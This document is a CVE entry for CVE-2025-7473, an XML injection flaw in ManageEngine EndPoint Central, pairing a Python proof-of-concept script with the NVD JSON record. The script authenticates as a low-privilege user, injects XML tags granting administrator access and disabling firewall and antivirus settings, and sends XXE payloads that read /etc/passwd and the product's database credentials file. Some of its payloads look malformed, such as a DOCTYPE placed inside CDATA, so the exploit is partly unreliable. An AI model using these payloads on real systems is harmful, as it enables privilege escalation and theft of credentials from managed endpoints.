CVE-2025-7473

# CVE-2025-7473 - ManageEngine EndPoint Central XML Injection PoC # This PoC demonstrates XML injection vulnerability in the XML parsing module import requests TARGET_URL = "https://target-endpoint-central:8443/api/xml/endpoint-data" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain session token session = requests.Session() auth_payload = { "username": USERNAME, "password": PASSWORD } auth_response = session.post(f"{TARGET_URL}/login", data=auth_payload) token = auth_response.json().get("auth_token") # Step 2: Craft malicious XML payload with injected tags # The original XML structure expects device configuration data # We inject additional XML tags to manipulate the parsed result malicious_xml = """<?xml version="1.0" encoding="UTF-8"?> <endpoint-config> <device-id>device_001</device-id> <device-name>Workstation-01</device-name> <policy-id>101</policy-id> <!-- XML Injection: Injecting additional privilege escalation tags --> <admin-access>1</admin-access> <privilege-level>administrator</privilege-level> <security-policy> <firewall-enabled>false</firewall-enabled> <antivirus-updates>disabled</antivirus-updates> </security-policy> <!-- XXE payload to attempt reading local files --> <description><![CDATA[<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]]> &xxe; </description> </endpoint-config>""" # Step 3: Send the malicious XML payload to the vulnerable endpoint headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/xml" } response = session.post(TARGET_URL, data=malicious_xml, headers=headers) # Step 4: Check response for successful injection if response.status_code == 200: print("[+] XML Injection successful!") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") # Alternative: XXE payload for file extraction xxe_payload = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE endpoint [ <!ENTITY xxe SYSTEM "file:///opt/ManageEngine/EndpointCentral/conf/database_params.xml"> ]> <endpoint-config> <device-id>&xxe;</device-id> <device-name>test</device-name> </endpoint-config>""" response_xxe = session.post(TARGET_URL, data=xxe_payload, headers=headers) print(f"[+] XXE Response: {response_xxe.text}")

{"cve": {"id": "CVE-2025-7473", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2025-10-21T11:15:34.240", "lastModified": "2025-10-23T14:36:06.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine EndPoint Central versions 11.4.2516.1 and prior are vulnerable to XML Injection."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.0, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-91"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_endpoint_central:*:*:*:*:*:*:*:*", "versionEndIncluding": "11.4.2516.01", "matchCriteriaId": "CCFE284C-4BD2-4B26-9784-E6F000AA9B7E"}]}]}], "references": [{"url": "https://www.manageengine.com/products/desktop-central/parsing-xml-data.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}